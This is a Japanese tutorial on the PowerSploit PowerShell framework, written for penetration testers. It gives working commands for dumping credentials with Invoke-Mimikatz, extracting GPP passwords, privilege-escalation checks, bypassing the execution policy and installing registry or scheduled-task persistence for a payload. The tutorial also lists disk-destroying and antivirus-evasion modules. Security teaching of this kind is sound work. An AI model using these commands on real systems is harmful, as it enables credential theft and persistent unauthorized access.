PowerSploitは、ペネトレーションテスターやセキュリティ研究者がWindows環境のセキュリティ評価を行う際に役立つ、強力なPowerShellモジュールのコレクションです。偵察、権限昇格、永続化、データ漏洩など、攻撃ライフサイクルのさまざまなフェーズに対応したスクリプトが含まれています。PowerShellのネイティブ機能を活用することで、複雑なタスクを効率的に自動化できます。
この記事では、PowerSploitの基本的な使い方から、主要なモジュールの機能、そして実践的な活用例までを詳しく解説します。
⚠️ 注意: PowerSploitは強力なツールであり、必ず許可された環境でのみ使用してください。不正な目的での使用は法律で禁止されており、倫理的にも問題があります。
インストール方法 🔧
PowerSploitの利用を開始するには、いくつかのインストール方法があります。
GitHubからクローンする
最も一般的な方法は、公式のGitHubリポジトリからクローンすることです。Gitがインストールされている環境で以下のコマンドを実行します。
git clone https://github.com/PowerShellMafia/PowerSploit.git
クローン後、PowerSploitのフォルダをPowerShellのモジュールパスに配置します。デフォルトのモジュールパスは環境変数 $Env:PSModulePath
で確認できます。一般的には以下のパスなどが利用されます。
# モジュールパスを確認
$Env:PSModulePath
# 例: モジュールパスの一つにコピーする場合 (管理者権限が必要な場合があります)
Copy-Item -Path .\PowerSploit -Destination "C:\Program Files\WindowsPowerShell\Modules\" -Recurse -Force
Kali Linuxでの利用
Kali Linuxの最近のバージョンでは、PowerSploitはデフォルトでインストールされており、/usr/share/windows-resources/powersploit/
ディレクトリに配置されています。ターミナルで powersploit
エイリアスを実行することでも確認できます。
モジュールのインポート
PowerSploitのスクリプトを使用するには、まずPowerShellセッションにモジュールをインポートする必要があります。PowerSploitのディレクトリに移動し、以下のコマンドを実行します。
# カレントディレクトリをPowerSploitフォルダに移動
cd path\to\PowerSploit
# すべてのモジュールをインポート (一部、Windows固有のライブラリ参照によるエラーが出る場合がありますが、多くは無視できます)
Import-Module .\PowerSploit.psm1
# 特定のモジュールのみをインポート (例: Reconモジュール)
Import-Module .\Recon\Recon.psd1
Kali Linux上のPowerShell (pwsh
) でインポートする場合も同様です。
# Kali LinuxのPowerShell (pwsh) でインポート
cd /usr/share/windows-resources/powersploit/
Import-Module ./PowerSploit.psm1
# または個別に
# Import-Module ./Recon/Recon.psd1
Set-ExecutionPolicy
コマンドレットを使用して、適切な実行ポリシー(例: RemoteSigned
や Bypass
)を設定する必要があるかもしれません。ただし、セキュリティリスクを伴うため慎重に行ってください。
# 現在の実行ポリシーを確認
Get-ExecutionPolicy
# 実行ポリシーを変更 (例: 現在のプロセスのみBypass) - 管理者権限が必要
Set-ExecutionPolicy Bypass -Scope Process -Force
主要モジュール概要 📚
PowerSploitは、ペネトレーションテストのフェーズに応じて整理された複数のモジュールで構成されています。以下に主要なモジュールとその概要を示します。
モジュール名 | 概要 | 代表的なスクリプト例 |
---|---|---|
CodeExecution |
ターゲットマシン上で任意のコード(DLL、シェルコード、PEファイル)を実行します。 | Invoke-DllInjection , Invoke-Shellcode , Invoke-ReflectivePEInjection , Invoke-WmiCommand |
ScriptModification |
スクリプトをエンコード、圧縮、暗号化するなどして、検出回避や実行準備を支援します。 | Out-EncodedCommand , Out-CompressedDll , Out-EncryptedScript , Remove-Comments |
Persistence |
ターゲットマシンへの永続的なアクセス(バックドア)を確立します。レジストリ、WMI、スケジュールタスクなどを利用します。 | Add-Persistence , New-UserPersistenceOption , New-ElevatedPersistenceOption , Install-SSP |
Privesc (PowerUp) |
Windowsローカル環境での権限昇格につながる可能性のある設定ミスや脆弱性を探索します。 | Invoke-AllChecks (PowerUp.ps1内) |
Recon (PowerView含む) |
ネットワークやドメイン環境の偵察(情報収集)を行います。ポートスキャン、ドメイン情報の列挙などが可能です。PowerViewはこのモジュールに含まれる強力なドメイン列挙ツールです。 | Invoke-Portscan , Get-NetDomain , Get-NetUser , Get-NetGroup (PowerView), Get-DomainPolicy (PowerView) |
Exfiltration |
ターゲットマシンからデータを抽出(漏洩)します。認証情報(Mimikatz利用)、キー入力、特定ファイルの取得など。 | Invoke-Mimikatz , Get-Keystrokes , Get-GPPPassword , Invoke-TokenManipulation |
AntivirusBypass |
アンチウイルスソフトウェアによる検出を回避するための技術を試みます(シグネチャ探索など)。 | Find-AVSignature |
Mayhem |
システムの不安定化や破壊を引き起こす可能性のあるスクリプトが含まれます(使用には最大限の注意が必要)。 | Set-MasterBootRecord , Set-CriticalProcess |
これらのモジュールに含まれる各スクリプト(コマンドレット)の具体的な使用方法については、Get-Help
コマンドレットを使用して確認できます。
# 例: Invoke-Mimikatz のヘルプを表示
Get-Help Invoke-Mimikatz -Full
実践的な使用例 ✨
いくつかの一般的なPowerSploitスクリプトの使用例を見てみましょう。
1. ポートスキャン (Recon)
Invoke-Portscan
を使用して、指定したホストの開いているポートをスキャンします。
# モジュールをインポート (まだの場合)
Import-Module .\Recon\Recon.psd1
# 単一ホストのデフォルトポートリストをスキャン
Invoke-Portscan -Hosts 192.168.1.100
# ポート範囲を指定してスキャン
Invoke-Portscan -Hosts 192.168.1.100 -Port "80, 443, 135-139, 445"
# サブネット全体をスキャン (時間がかかる可能性があります)
Invoke-Portscan -Hosts 192.168.1.0/24 -TopPorts 100 # よく使われる上位100ポートをスキャン
2. 認証情報の窃取 (Exfiltration – Mimikatz)
Invoke-Mimikatz
は、メモリからWindowsの認証情報(平文パスワード、ハッシュなど)をダンプするために広く使われています。Mimikatzの機能をPowerShell内で実行します。管理者権限が必要です。
Invoke-Mimikatz
の実行は、多くのセキュリティ製品(AV/EDR)によって検出・ブロックされる可能性が高いです。最新のWindows環境では、保護機能(LSA Protectionなど)により、ダンプが困難または不可能になっている場合があります。
# モジュールをインポート (まだの場合)
Import-Module .\Exfiltration\Exfiltration.psd1
# ローカルマシンの認証情報をダンプ
Invoke-Mimikatz -DumpCreds
# または
# Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"'
3. グループポリシー基本設定 (GPP) パスワードの取得 (Exfiltration)
古いグループポリシー設定(Group Policy Preferences)で配布されたパスワードがSYSVOL共有内のXMLファイルに残っている場合、Get-GPPPassword
でそれを抽出できます。
# モジュールをインポート (まだの場合)
Import-Module .\Exfiltration\Exfiltration.psd1
# ドメイン内のSYSVOL共有を検索し、GPPパスワードが含まれるXMLファイルを解析
Get-GPPPassword
4. 権限昇格チェック (Privesc – PowerUp)
Invoke-AllChecks
(PowerUp.ps1に含まれる) は、現在のシステムで権限昇格につながる可能性のある一般的な設定ミスや脆弱性を自動的にチェックします。
# PowerUpスクリプトをインポート
Import-Module .\Privesc\PowerUp.ps1
# すべてのチェックを実行
Invoke-AllChecks
5. 永続化 (Persistence)
Add-Persistence
を使用して、システム起動時やユーザーログオン時に特定のスクリプトや実行ファイルが起動するように設定します。様々な手法(レジストリ、スケジュールタスク、WMIイベントなど)を利用できます。
# モジュールをインポート (まだの場合)
Import-Module .\Persistence\Persistence.psd1
# ユーザーログオン時に特定の実行ファイルを実行する設定 (レジストリ Runキーを使用)
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -UserPersistenceOption $UserOptions -FilePath "C:\path\to\payload.exe"
# システム起動時に管理者権限で実行する設定 (スケジュールタスクを使用)
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -AtStartup
Add-Persistence -ElevatedPersistenceOption $ElevatedOptions -FilePath "C:\path\to\elevated_payload.exe" -Verbose
# 上記コマンドは Persistence.ps1 (設定用) と RemovePersistence.ps1 (削除用) を生成する
# 生成された Persistence.ps1 を実行して永続化メカニズムをインストール
# .\Persistence.ps1
これらの例はPowerSploitの機能のほんの一部です。各スクリプトには多数のオプションがあり、より高度な攻撃シナリオを実現できます。Get-Help
を活用して詳細を確認してください。
倫理的な考慮事項と法的責任 🛡️
PowerSploitは、セキュリティ専門家がシステムの脆弱性を発見し、防御を強化するために設計されたツールです。しかし、その強力さゆえに、悪意のある攻撃者によって不正に利用される可能性も秘めています。過去には、EmotetなどのマルウェアがPowerSploitのモジュールを悪用した事例も報告されています (2017年頃)。
警告:
- PowerSploitを含むあらゆるペネトレーションテストツールは、明示的な許可を得たシステムに対してのみ使用してください。
- 他者のシステムやネットワークに対して許可なくこれらのツールを使用することは、重大な法律違反となり、刑事罰や民事訴訟の対象となる可能性があります。
- 常に倫理的なガイドラインと適用される法律を遵守してください。
セキュリティ専門家としての責任は、これらのツールを正当な目的(脆弱性評価、セキュリティ教育、防御策のテストなど)に限定して使用し、その能力と潜在的な影響を十分に理解することにあります。
まとめ
PowerSploitは、Windows環境におけるペネトレーションテストやポストエクスプロイテーション活動を支援する非常に強力で多機能なPowerShellフレームワークです。偵察から権限昇格、永続化、データ漏洩まで、幅広い攻撃シナリオに対応するツールを提供します。
この記事で紹介したインストール方法、モジュールの概要、そして使用例を参考に、PowerSploitの機能を理解し、活用してみてください。ただし、その強力な機能を悪用することなく、常に倫理観と法的責任を持って、許可された範囲内で使用することを忘れないでください。 ✨🛡️
コメント